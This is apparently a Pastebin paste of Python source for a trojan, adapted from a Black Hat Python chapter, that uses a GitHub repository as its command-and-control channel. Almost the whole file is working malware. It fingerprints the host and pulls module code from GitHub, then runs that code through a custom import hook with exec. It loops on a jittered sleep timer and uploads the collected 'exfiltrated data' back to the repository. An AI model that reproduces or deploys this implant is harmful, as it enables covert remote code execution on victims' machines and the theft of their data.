Guest User

Untitled

a guest
Nov 7th, 2017
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.29 KB | None | 0 0
  1. #ch7_github_trojan.py
  2. from github3 import login
  3. from datetime import datetime
  4. from uuid import getnode
  5. import platform
  6. import base64
  7. import json
  8. import imp
  9. import queue
  10. import threading
  11. import random
  12. import sys
  13. import _strptime
  14. import time
  15.  
  16. #Define global variables
  17. gh_username = "your_username"
  18. gh_password = "you_password"
  19. gh_repo = "blackhatpython-ch7"
  20. gh_remote = "data/"
  21.  
  22. #We generate a trojan_id. If this id is not available in our github config folder,
  23. #we will resort to using the default config file for this trojan.
  24. #We define some other constants related to the trojan
  25. trojan_id = base64.b64encode((platform.node() + "-" + hex(getnode())).encode()).decode("utf-8")
  26. trojan_id_default = base64.b64encode("default".encode()).decode("utf-8")
  27. trojan_config_file_path = f"config/{trojan_id}.json"
  28. trojan_default_config_file_path = f"config/{trojan_id_default}.json"
  29. trojan_module_folder_path = "modules/"
  30. trojan_output_file_name = datetime.utcnow().isoformat() + "-" + trojan_id
  31. trojan_output_file_path = "data/" + trojan_output_file_name
  32. trojan_output_file_contents = ""
  33.  
  34. task_queue = queue.Queue()
  35.  
  36. #GitImporter Class to allow import of our custom python modules from github
  37. class GitImporter(object):
  38. def __init__(self):
  39. self.module_code = None
  40.  
  41. def find_module(self, name, path=None):
  42. module_file_contents = get_file_contents(trojan_module_folder_path + name + ".py")
  43. if module_file_contents:
  44. self.module_code = module_file_contents
  45. return self
  46.  
  47. def load_module(self, name):
  48. new_module = imp.new_module(name)
  49. exec(self.module_code, new_module.__dict__)
  50. sys.modules[name] = new_module
  51. return new_module
  52.  
  53. #Connect to Github Function and return its object, along with repository and branch objects
  54. def gh_connect():
  55. gh = login(username=gh_username, password=gh_password)
  56. repo = gh.repository(gh_username, gh_repo)
  57. branch = repo.branch("master")
  58. return gh, repo, branch
  59.  
  60. #Grab the file contents according to the path location. The file is encoded in base64 so it needs to be decoded
  61. #If there is a problem or file is not found, return None
  62. def get_file_contents(file_path):
  63. gh, repo, branch = gh_connect()
  64. if gh and repo and branch:
  65. hash_list = branch.commit.commit.tree.recurse().tree
  66. for hash in hash_list:
  67. if file_path in hash.path:
  68. file_contents_b64 = repo.blob(hash.sha).content
  69. file_contents = base64.b64decode(file_contents_b64).decode("utf-8")
  70. return file_contents
  71. return None
  72.  
  73. #Grab the file sha according to the path location.
  74. #If there is a problem or file is not found, return None
  75. def get_file_sha(file_path):
  76. gh, repo, branch = gh_connect()
  77. if gh and repo and branch:
  78. hash_list = branch.commit.commit.tree.recurse().tree
  79. for hash in hash_list:
  80. if file_path in hash.path:
  81. return hash.sha
  82. return None
  83.  
  84. #This method will load the modules in the trojan config file from either sys.modules
  85. #or resort to importing from github using the GitImporter class. The method will return
  86. #the parsed dict to allow executing the imported modules
  87. def load_trojan_config():
  88. global trojan_output_file_contents
  89.  
  90. def load_modules(config_file_path, config_file_contents):
  91. global trojan_output_file_contents
  92. trojan_config_file_json = json.loads(config_file_contents)
  93. for module_dict in trojan_config_file_json:
  94. module = module_dict["module"]
  95. if module not in sys.modules:
  96. exec(f"import {module}")
  97. loaded_modules.append({"loaded_module": module})
  98. else:
  99. loaded_modules.append({"loaded_module": module})
  100. if len(loaded_modules) == len(trojan_config_file_json):
  101. trojan_output_file_contents += f"[*] Successful Modules Import From: {config_file_path}\n"
  102. return trojan_config_file_json
  103. return None
  104.  
  105. loaded_modules = []
  106. trojan_default_config_file_contents = get_file_contents(trojan_default_config_file_path)
  107. trojan_config_file_contents = get_file_contents(trojan_config_file_path)
  108.  
  109. if trojan_default_config_file_contents and trojan_config_file_contents:
  110. trojan_output_file_contents += "[*] Using Specific Modules\n"
  111. return load_modules(trojan_config_file_path, trojan_config_file_contents)
  112. else:
  113. trojan_output_file_contents += "[*] Using Default Modules\n"
  114. return load_modules(trojan_default_config_file_path, trojan_default_config_file_contents)
  115.  
  116. #Simple method to run each module within the trojan config file
  117. def run_module(module):
  118. global trojan_output_file_contents
  119. task_queue.put(1)
  120. result = sys.modules[module].run()
  121. trojan_output_file_contents += result + "\n"
  122. task_queue.get()
  123. return
  124.  
  125. #Method to create or update the trojan exfiltrated data obtained from running the modules to github.
  126. def store_output():
  127. global trojan_output_file_contents
  128. gh, repo, branch = gh_connect()
  129. sha = get_file_sha(trojan_output_file_path)
  130. if sha:
  131. repo.update_file(trojan_output_file_path, trojan_output_file_name, base64.b64encode(trojan_output_file_contents.encode()), sha)
  132. else:
  133. repo.create_file(trojan_output_file_path, trojan_output_file_name, base64.b64encode(trojan_output_file_contents.encode()))
  134. return
  135.  
  136. #Required to allow module import from github
  137. sys.meta_path = [GitImporter()]
  138.  
  139. #main trojan loop
  140. while True:
  141. trojan_output_file_contents += (100 * "*") + "\n"
  142. trojan_output_file_contents += f"[*] Running On: {platform.node() + '-' + hex(getnode())}\n"
  143. trojan_output_file_contents += f"[*] Time: {datetime.utcnow().isoformat()}\n"
  144. if task_queue.empty():
  145. loaded_config_file_json = load_trojan_config()
  146. if loaded_config_file_json:
  147. for loaded_module in loaded_config_file_json:
  148. run_module_thread = threading.Thread(target=run_module, args=(loaded_module["module"],))
  149. run_module_thread.start()
  150. time.sleep(random.randint(1, 10))
  151. trojan_output_file_contents += "[*] Finished Executing Modules\n"
  152. store_output()
  153. #sleep_time = random.randint(60,120)
  154. sleep_time = 10
  155. trojan_output_file_contents += f"[*] Sleeping For {sleep_time} Seconds\n"
  156. #print(trojan_output_file_contents)
  157. time.sleep(sleep_time)
Add Comment
Please, Sign In to add comment